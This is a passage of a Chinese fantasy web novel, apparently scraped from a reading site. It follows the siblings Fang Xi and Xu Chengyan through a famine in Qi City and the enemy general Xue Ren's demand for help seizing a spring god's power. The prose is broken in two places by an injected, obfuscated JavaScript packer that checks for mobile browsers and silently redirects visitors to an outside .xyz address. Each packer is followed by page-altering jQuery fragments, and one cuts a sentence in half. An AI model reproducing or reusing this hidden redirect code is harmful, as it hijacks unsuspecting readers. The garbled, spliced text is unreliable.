“阿昔,不必担心,明日爹娘就去处理这件事。你跟小砚一定要好好待在家里,哪都不要去。” 方溪紧张地抓住亲娘的袖子,方姮笑着道:“放心,娘答应你,我们一定会平安回家的。” 翌日清晨,结界外的大雪已经停了。 方溪昨夜在母亲的安抚下,睡了个好觉。噩梦带来的阴霾彻底烟消云散。 她套了件大红外袍,五彩绳绑着发尾垂在腰后,腰间别着母亲给她的鼗鼓。步子快了,鼗鼓就发出咚咚的清响。 她喊住路过的老仆:“阿公,阿兄,在哪?” 许成砚的屋子就在她隔壁,她起床时隔壁早已没了声响。 老仆笑呵呵道:“少爷在前院练剑呢。” “谢谢阿公。” “小姐,你跑慢些,地滑小心摔了。” 凉风灌入衣袍,她眼角眉梢都蒙上一层冷意,方溪抱着臂膀穿过回廊,直达前院。 她躲在假山后,手扶着冰冷的太湖石,探出一个脑袋偷偷看雪地里舞剑的少年郎。 许成砚当真是不怕冷,只穿了件素白劲装,鬓角梳得齐整,束发冠玉。 眉眼宛如墨青山水,浓淡两相宜。黑白分明的双眸中看不到任何杂念,整个人仿若与剑合为一体。 一招一式干净利索,行云流水。许成砚练剑十二载,武艺超乎常人。 以前她不觉得阿兄有多厉害,仗着灵力她总能稳胜阿兄。现下想来,若她不调动灵力仅凭武功,能不能赢阿兄另说。 毕竟方溪从来是能偷懒就偷懒,只学那些好看好玩的招式。 实战起来还是得靠灵力压制。 她想,难怪城西那群少年总是缠着她、讨好她,想要通过她结识许成砚。 于凡人而言,许成砚的剑确实耍得漂亮极了,很难不让人想较量一番。 在凡人堆里,许成砚比试就没输过。 许成砚一个翻身刺剑,隐入枯枝丛生处。 她往前挪了挪要去寻少年郎身影,结果脚下一滑,身形不稳,腰间的鼗鼓发出声响,惊扰了院中人。 许成砚朝假山望来:“阿昔。” 方溪不情不愿地探身出来,一步步,慢悠悠地走到他身前。 “阿兄,早。” “日上三竿,再过半时辰该用朝食了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406180|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方溪三指合并举起,发誓一定要痛改前非,从新开始:“阿兄,我明日一定早起修炼,求你了,不要告诉爹娘。” 许成砚挽剑收入鞘,目光扫过她的蛾眉,最后阖上眼眸妥协道:“好,我不告状。” 方溪上前抱了抱他:“我知道阿兄最疼我了。” 许成砚无条件溺爱的结果就是爹娘回来考校功课时方溪错误百出,连累许成砚一起受罚。 方溪跪坐在蒲团上,在家里供奉的女娲神像前磕响头,捧着鼗鼓背那一句“八音克谐,无相夺伦,神人以和”。 “人神以和,人神以和。”她反反复复记忆,手里的鼗鼓发出的响声令人焦躁不安。 许成砚则在一旁挨个擦拭牌位,顺带纠正她的错误。 “背错了,是神人以和。” 方溪心不在焉致使考校时频频出错。短短一句话,她愣是背错了三四遍。 “阿兄,你记性可真好。”方溪幽怨的小眼神紧随在许成砚身后。 他背对着方溪,腰板直如松柏,比早晨多穿了件外衫。他正仔细擦拭着那对空牌位:“你以前记这些不是记得挺清楚吗?今日这是睡迷糊,全忘了?” 听许成砚这么一说,方溪也觉得奇怪,过堂风冻红她的耳尖,她拢了拢外袍,哈着白雾:“今日好冷,大抵是把我脑子冻坏了。” “那我去给你拿件外衫。” “不用,我就是说说而已。” 她偷瞄一眼许成砚的侧脸,平静无波,她试探道:“阿兄,不会怪我连累你吧?” “又再说胡话。” 许成砚笑着叹了口气,放好牌位,转身单膝跪在地上,平视她。他顺便用手探了探她的额头,确认她没发热后,才道:“我几时怪过你。” “梦里。” 许成砚眉眼弯起:“有吗?那梦里的我是如何怪你的?” 方溪抬抬下巴,胡诌道:“我生病了,你觉得我是拖油瓶,就把我丢在荒村野庙让我自生自灭。” 许成砚眼前闪过一座残破不堪的娲皇庙,耳畔又响起声音,太阳穴钻心的疼。 “放弃她,你就自由了。她本就不是你的血亲,你何必自讨苦吃救她?” 他听见自己心声,他对那道声音怒骂一声“滚”。 “我绝不会抛弃你。” 方溪被许成砚突如其来的严肃吓得一怔。 方溪抬手抚上他的眉头,想要抹平他蹙起的眉头,她只不过是想逗逗他而已,没想到许成砚当真了。她心虚道:“刚才那些,是我胡说八道,阿兄你不要往心里去。” 许成砚忽然站起身,方溪手也滞留在原处,她眼睫振动两下,抿了抿唇。 许成砚扶额揉按太阳穴,背靠着桌案,屏息凝神后才缓解那股子不适。 “阿兄你怎么了?” “我没事,你继续背书,我到外面透透气。”许成砚才出宗祠就迎面撞上匆忙赶来的管家方海。 “少爷小姐,出事了。” 方溪起身跑出门,连门槛都没注意,绊了一跤,好在有许成砚搀扶一下才免于血光之灾。 许成砚抚稳妹妹,问方海:“海叔,是爹娘出事了吗?” “姮大人和相大人没事,出事的是戚城。” “城内的粮仓全被虫子吃完了。” 方溪追问:“什么样的虫子?” 方海用手比划了尺寸:“碗口那么大的黑虫子。” 兄妹俩的心顿时凉了半截。 17. 第 17 章 时大魏伐熊卫,克临城。熊卫国成为大魏附庸国,其国君向大魏国君俯首称臣。 临城在戚城西北,二城只隔着一条河。 可惜还没等对面动作,戚城城内就爆发了饥荒。无论是粮仓还是百姓家里的米缸,都被一种神似冰蚕的虫子吃了个精光。 再加上天地有二色,河这边大雪纷飞,河那头刚刚入秋。一边庄稼全都冻死在地里,一边长势喜人。 这可愁坏了戚城城主李英,再这样下去,不出三月,他这位城主就该投河自尽了。他找到方府,祈求神子庇护。 这会儿正在前厅与方姮夫妇商议对策。 方海得到方姮授意,将兄妹俩带到屏风后听他们议事。 “姮大人,昨夜我收到您的指令,已带人将全城的冰蚕尽数烧死。谁知道不过半日,那些虫子又从雪地里爬了出来,这可如何是好呀?” 方溪的手牢牢拽着许成砚的衣袖,透过屏风看着父母一动不动,她的手指不自觉地绞起来。 许成砚头低了一些,垂眼将手掌覆盖在她的手上。方溪抬头,眼神中有慌乱。 许成砚做了个口型:“别怕。” 方溪稳住呼吸,点了点头,继续听前面的动静。 “虫子继续用火符烧,不要让城内有积雪。粮食的事我与相异已上奏卫王,不日将有粮车抵达,这几日先用我府上的存粮发放给百姓应急。” “若是日后粮食供应不上,那该怎么办?天生异象,无秋入冬。姮大人要不由您亲自出马,主持冬祭祀提早唤醒春神句芒,驱散寒冬。” “李大人,违背天时唤醒神灵,那是要遭天谴的。” 随后听见一声响动,李大人居然向着爹娘下跪,兄妹二人呼吸一顿。 “李大人你这是做什么?”相异将李英扶起,李英不从。 李英一把年纪,头发花白,还一把鼻涕一把泪,抬袖掩面哭声那叫一个凄惨。 “姮大人,救救戚城的百姓吧。您可是神子,上古神族方相氏的后裔,就算是叨扰春神句芒,它又岂会加罪于您。” 良久,方溪听到她娘的叹息声:“李大人,我并非怕得罪句芒,而是怕天谴殃及百姓。” 李英不过是个凡人,他只知冬祭祀能唤醒春神,却不知违背天时,春神会从吉神变为凶神,到那时不只是方姮遭天谴反噬,整个戚城的百姓都会遭受神罚。 届时四季颠倒,戚城只会成为一片死地。 “姮大人,难道你忍心看着你珍爱的百姓死于饥荒吗?” “李大人,你容我再想想。” “姮大人,您是神子高高在上,求您垂眼看看我们这些凡人吧。”说着说着李大人从袖中掏出一把匕首对准自己的脖颈,所幸相异眼疾手快,夺下匕首。 “好,我答应你。请李大人再多撑一个月,一个月后我亲自主持祭典。” 李大人老泪纵横,木然地望向方姮,感激地磕了四五个响头,相异拦都拦不住。 方溪听出了她娘言语中的疲惫,不由地心揪起来。原来那夜她做了一个预知梦,无力感将拽住她的脚踝往下坠。 梦里的爹娘拼死也没能护住戚城。她松开许成砚,忽然腿脚酸软,手扶着屏风滑坐在地上。 许成砚急忙去扶她,不小心碰到了屏风,发出声响。 “阿昔,小砚。到我跟前来。” 当兄妹俩绕过屏风到了厅前,李大人早已被相异送离府,只有方姮一人坐在软垫上扶着额角。 兄妹俩乖巧地跪坐在母亲面前。 院里仆从在用火符融化屋檐上的积雪,寒气化作过堂风拍打他们的脊梁。 方姮倾身将两人揽入怀中。 “娘?”兄妹异口同声问道。 方姮眼角噙着泪:“让娘再抱抱你们。” 她舍不得孩子们,舍不得这来之不易的短暂相逢。 可那又能如何,哪怕逆转天时,结局早已书写在史书上。 没过几日,病急乱投医的李城主带来一位不速之客,打算再故技重施逼方姮就范,结果李城主还没开始哭嚎,就被相异搂着肩膀到了偏厅。 至于那位不速之客,正是那位攻下临城的敌国将领雪刃。 雪刃登门拜访,只身带着万石粮食来戚城,可谓是雪中送炭,李城主鼠目寸光给方姮送来大麻烦。 “万石粮食,只求姮大人为我占卜一卦。不知姮大人意下如何?” 那是兄妹俩第一次见到雪刃,他面容苍白,眼神空洞无神,死气沉沉。 说话的时候,总是死死盯着坐在方姮身边的方溪。这让许成砚感到前所未有的威胁,他起身将妹妹带离雪刃的视野。 方姮目若寒潭,手中把玩着龟甲,桌案上的用于占卜的贝币发出幽暗的红光:“不日,封丘的补给就会送达,戚城不需要敌国的怜悯。” “至于雪将军的卦象,”方姮轻笑一声,将龟甲和贝币掷于地上,瞬间四分五裂:“行尸走肉,何谈未来?” 雪刃阴恻恻地笑了笑:“姮大人,似乎对雪某人有误解。雪某是真心诚意想为姮大人排忧解难。” “不必,我已为你占卜,若你执迷不悟,一月后必将神魂俱灭,我劝你回头是岸,天谴来时也能少吃些苦头。还有把你的粮食从哪来带回哪去,莫要脏了戚城的土地。”方姮理了理袖口的褶皱,表情漠然,眼神带着讥讽。 雪刃笑里藏刀:“我不信,姮大人你在说谎。” 方姮:“真话还是谎话,一月后便知晓答案,你若不信,又何必来求我?” 雪刃:“当然是为了印证你兄长方潼的话。” 方姮瞥了他一眼,听到“兄长方潼”这几字时,她的眼神闪过一丝憎恶。 “卫王快不行了,良禽择木而栖,你兄长卖主求荣,将临城送与我,还替我卜算一卦,说我一月后必将飞升成神。”雪刃道,“我听闻前国师之女继承祖业,想必卜算之术在其兄之上。今日一见,果然名不虚传。” 方姮冷笑道:“雪将军何必与我兜圈子,你想要什么,直说就是。” 雪刃十分欣赏方姮的聪明,他敲了敲桌案:“爽快。我想要你助我夺取春神句芒的两分神力。” 方姮目光落在他毫无血色的脸上,似乎能透过面皮看见里面生蛆的骸骨,她大笑起来。 雪刃也跟着她一起笑。 “雪将军,你怕不是被驴踢了脑袋,句芒的力量也是你能觊觎的?夺神力,前所未闻,帮不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406181|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,请回吧。”方姮起身唤来管家,准备送客。 “方相氏是唯一受闻天语赐福的血脉。前所未闻?我看未必。当年大泽女君攻上天庭,神力比肩闻天语,方相氏一族真的没有在背后助力吗?”雪刃句句紧逼。 方姮居高临下地看他:“是吗?我怎么不知道。” “姮大人,我知你爱惜百姓,特意给你指一条明路。”雪刃眼露凶光,手放在腰间的佩剑上。 方姮冷眼相待,不把他的威胁放在眼里:“明路?与虎作伥,违背天命,雪将军这是把我往黄泉路上逼。我最后再送你一句箴言,多行不义必自毙,雪将军你好自为之。” 雪刃被管家送出门前,眼神停留在偏厅的方溪身上,许成砚一个侧身挡住他的视线。 雪刃非常好奇,这个凡人少年怎么敢与他直视?那眼神如同狼一般狠戾。 不像是一个十几岁的孩子该有的眼神。 有趣。 . 送走雪刃后,他的粮食一并被城主李英送回了临城。凡是他所到过的地界全都用火烧过,像是送瘟神一般。 千防万防还是防不住那些该死的黑虫。从封丘拉回来的粮食越来越少,黑虫不满足于粮食还啃起来草皮、树根,蚕食大地灵气。 眼见着从碗口那么大长到如犬一般大小。相异领着许成砚在城内扑杀,而方溪则与方姮在方府修习祭祀之术。 “娘,我们真的要强行唤醒春神吗?” 方溪手执鼗鼓,与方姮身影交错,母女踩着阵法,练习起一支古老的傩舞。 “这世上不是只有句芒一位神灵,在它之上还有一位闻天语。”方姮用手中的戈敲打她的四肢,纠正方溪的错误。 方溪跟不上方姮的鼓点,摔倒在地,鼗鼓落地发出闷声。 她拾起继续跟上母亲:“娘,你不是说她沉眠多年无法唤醒吗?” 方姮将手中的长戈扔给方溪,方溪顺势接过,取代了母亲的位置。 而方姮悄然退出,目视她完整跳完傩舞,方姮的笑极其悲凉:“上一次是这样的,可如今她已经醒了。” 方溪将脸上的面具摘下,她眼中的母亲从未像现在这般恋恋不舍地看着她。 “阿昔,爹娘会一直看着你们的。” 方溪的不安越来越浓烈,总是反反复复做同样的噩梦,惊醒时许成砚总是候在她身边,抓着她的手放在手心里柔声安抚她。 那些梦越来越清晰。 她看到爹娘死后,句芒降临,冰雪消融,百姓都染上了一种怪病,身上长满黑鳞,令人恶心想吐。 戚城绿意盎然,家家户户门前却停满了棺材。黑鳞从人身上爬满了棺椁,夜夜都听到有人在哭嚎。 她自己的手腕上也长出了鳞片,方溪偷偷用匕首翘掉那些鳞片,鲜血顺着她的手臂隐入衣袖。 方溪害怕极了,她害怕被许成砚看到,害怕这些鳞片长满自己的身躯。 那条黑虫子变成了雪刃的模样,占据了方府,对她和兄长下了缉捕令。 她与许成砚逃到了荒村野庙,庙里的娲皇神像阴森恐怖,仿佛下一刻就要变成妖邪吃了她。 方溪想要去抓许成砚的手,却对上兄长冰冷的眼神。